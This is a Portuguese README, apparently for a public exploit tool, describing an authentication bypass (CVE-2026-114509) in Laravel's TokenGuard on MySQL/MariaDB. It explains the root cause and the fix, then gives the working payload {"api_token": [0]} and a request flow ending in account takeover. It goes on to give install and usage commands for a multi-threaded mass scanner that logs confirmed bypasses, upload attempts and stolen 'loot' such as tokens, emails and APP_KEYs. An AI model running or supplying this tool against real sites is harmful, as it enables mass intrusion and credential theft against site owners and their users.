
Bypass de autenticação do Laravel TokenGuard por meio de credenciais de API que não são strings
Bypass de autenticação do Laravel TokenGuard por meio de credenciais de API não-string
Bypass de Autenticação Não Autenticado no Laravel Framework — Guard de API TokenGuard
CVE-2026-114509 é uma vulnerabilidade crítica de bypass de autenticação no TokenGuard integrado do Laravel Framework.
Quando configurado com um guard de API padrão baseado em token no MySQL ou MariaDB, um atacante não autenticado pode enviar uma credencial não-string especialmente construída (um array JSON) que faz com que a consulta de autenticação corresponda a um usuário existente não intencional — concedendo acesso total sem conhecer nenhum token de API válido.
Isso leva ao comprometimento completo da conta em qualquer rota protegida pelo guard afetado.
| Campo | Detalhes |
|---|---|
| ID CVE | CVE-2026-114509 |
| GHSA | GHSA-f9x3-7vq9-cph6 |
| Software Afetado | Laravel Framework (laravel/framework) |
| Versões Afetadas | < 12.68.0 e >= 13.0.0, < 13.29.0 |
| Tipo | Bypass de Autenticação |
| CWE | CWE-287 — Autenticação Imprópria |
| CWE | CWE-1287 — Validação Imprópria do Tipo de Entrada Especificado |
| Pontuação CVSS 4.0 | 9.2 / 10 — CRÍTICA |
| Vetor CVSS | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| Autenticação | Nenhuma necessária (Pré-Auth) |
| Condição | Backend MySQL / MariaDB |
| Correção | v12.68.0 / v13.29.0 |
| Métrica | Valor | Significado |
|---|---|---|
| Vetor de Ataque | Rede | Explorável remotamente pela internet |
| Complexidade do Ataque | Baixa | Nenhuma condição especial além de MySQL/MariaDB |
| Requisitos do Ataque | Presentes | Requer o comportamento de coerção de tipos do MySQL/MariaDB |
| Privilégios Necessários | Nenhum | Nenhuma autenticação necessária |
| Interação do Usuário | Nenhuma | Nenhuma ação da vítima necessária |
| Confidencialidade | Alta | Acesso total de leitura aos dados do usuário autenticado |
| Integridade | Alta | Pode modificar dados como o usuário contornado |
| Disponibilidade | Alta | Pode interromper o serviço por meio do comprometimento da conta |
Este é um bug de confusão de tipos na fronteira entre a análise de requisições HTTP, a lógica do framework PHP e o comportamento do banco de dados SQL. Três comportamentos comuns se alinham para criar a vulnerabilidade:
O TokenGuard aceita entrada não-string — O método user() em TokenGuard.php usa !empty($token) em vez de is_string($token) && !empty($token). Corpos de requisição JSON podem fornecer arrays ou inteiros como valor do token.
O EloquentUserProvider constrói uma consulta WHERE IN — Quando retrieveByCredentials() recebe um valor de array, ele gera WHERE api_token IN (...) em vez de WHERE api_token = ....
Coerção de tipos do MySQL — O MySQL converte colunas de string em números para comparação. O inteiro 0 corresponde a qualquer string que não comece com um dígito (o que inclui a maioria dos tokens de API), porque o MySQL converte essas strings para 0.0.
JSON Body: {"api_token": [0]}
│
▼
TokenGuard::user()
→ getTokenForRequest()
→ !empty([0]) === true ← Should reject non-string
│
▼
EloquentUserProvider::retrieveByCredentials()
→ WHERE api_token IN (0) ← Array becomes WHERE IN
│
▼
MySQL Type Coercion
→ 0 == "wAWrHm..." → true ← Int 0 matches any string token
│
▼
first() returns User #1
→ check() === true
→ Authentication Bypassed ✓
┌──────────────────────────┐
│ Attacker (No Creds) │
└────────────┬─────────────┘
│
│ POST /api/user
│ Content-Type: application/json
│ {"api_token": [0]}
▼
┌──────────────────────────┐
│ Laravel Application │
│ │
│ TokenGuard::user() │
│ ↓ !empty([0]) = true │
│ retrieveByCredentials() │
│ ↓ WHERE IN (0) │
│ MySQL coercion │
│ ↓ 0 matches strings │
│ Returns first user │
│ ↓ Authenticated ✓ │
│ │
└────────────┬─────────────┘
│
│ 200 OK
│ {"id":1, "name":"Admin",
│ "email":"[email protected]",
│ "api_token":"wAWrHm..."}
▼
┌──────────────────────────┐
│ Full Account Takeover │
│ • User data exposed │
│ • API token leaked │
│ • Admin access possible │
└──────────────────────────┘
O Laravel corrigiu o TokenGuard.php adicionando uma verificação de tipo — se o token não for uma string, o guard retorna null imediatamente e nunca chama o provedor de usuário:
// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }
// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }
git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich
A ferramenta suporta dois modos: varredura em massa e sondagem profunda de alvo único.
Varre uma lista de alvos em busca da vulnerabilidade:
python CVE-2026-114509.py scan targets.txt
Opções:
python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
| Flag | Padrão | Descrição |
|---|---|---|
targets | (obrigatório) | Arquivo com URLs de destino (uma por linha) |
--threads | 60 | Número de threads simultâneas |
--timeout | 12 | Tempo limite da requisição em segundos |
Formato do arquivo de destinos (targets.txt):
https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com
Alvos sem esquema assumem
https://por padrão.
Ficheiros de saída (criados no diretório do script):
| Ficheiro | Conteúdo |
|---|---|
LV_DETECTED.txt | Todas as aplicações Laravel detetadas |
LV_BYPASS.txt | Bypasses de autenticação confirmados |
LV_UPLOAD.txt | Resultados das tentativas de upload |
LV_LOOT.txt | Dados extraídos (tokens, emails, APP_KEYs, dados de utilizador) |
Sondagem profunda de um único alvo com saída detalhada:
python CVE-2026-114509.py single https://target.com
Opções:
python CVE-2026-114509.py single https://target.com --timeout 15
Isso executa todas as quatro fases sequencialmente com saída detalhada:
Phase 1: Laravel Detection...
+ laravel_session
+ XSRF-TOKEN
+ api:401